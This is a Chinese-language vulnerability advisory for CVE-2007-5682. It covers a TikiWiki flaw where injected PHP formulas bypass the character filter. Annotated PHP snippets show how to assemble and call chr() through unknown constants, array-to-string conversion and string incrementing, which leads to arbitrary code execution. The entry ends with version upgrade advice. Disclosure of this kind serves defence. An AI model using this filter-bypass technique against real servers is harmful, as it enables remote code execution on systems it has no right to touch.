CVE:CVE-2007-5682
CNNVD:CNNVD-200710-471
TikiWiki是一款网站内容管理系统，基于PHP+ADOdb+Smarty等技术构建。
TikiWiki的实现上存在漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
由于PHP支持变量函数和变量，TikiWiki的白名单检查无法防范任意PHP代码执行。
      $varname = 'othervar';
      $$varname = 4;  // set $othervar to 4
      $funcname = 'chr';
      $funcname(95);  // call chr(95)
TikiWiki的黑名单无法防范"$"字符，注入的PHP公式可以使用$sin、$cos、$tan之类的临时变量，因此攻击者可以通过代表其他函数名称的字符串填充临时变量绕过防护。可以使用两个PHP功能：数组到字符串的转换和处理未知的常量。
     $sin=cosh;       // cosh is an unknown constant. 
                      // PHP assumes the string 'cosh' as value
     $sin[]=pi();     // Creates an array
     $sin=$sin.$sin;  // Stringconcats of arrays. Array to string 
                      // conversion. Becomes 'ArrayArray'
结合++运算符使用上述两个功能就可以如下调用chr()函数：
      $tan=pi()-pi();   // Get 0 into $tan
      $sin=cosh;        // Get the string 'cosh' into $sin
      $min=$sin[$tan];  // Get 'c' into $min
      $tan++;           // Get 1 into $tan
      $min.=$sin[$tan+$tan+$tan] // Append 'h' to 'c'
      $min.=$sin[$tan]; // Append 'o' to 'ch'
      $min++;           // Increment 'cho' to 'chp'
      $min++;           // Increment 'chp' to 'chq'
      $min++;           // Increment 'chq' to 'chr'
      $min($tan)        // Call chr(1)
如果能够访问chr()函数，就可以创建各种字符串，调用任意其他函数，导致执行任意PHP代码。
solution:Upgrade tiki tikiwiki_cms/groupware to a higher version than 1.9.8,1.6.1,1.9.0,1.9.0:rc1,1.9.0:rc2,1.9.0:rc3,1.9.1,1.9.2,1.9.3,1.9.4,1.9.5,1.9.6,1.9.7,and avoid the version (,1.9.8],1.6.1,1.9.0,1.9.0:rc1,1.9.0:rc2,1.9.0:rc3,1.9.1,1.9.2,1.9.3,1.9.4,1.9.5,1.9.6,1.9.7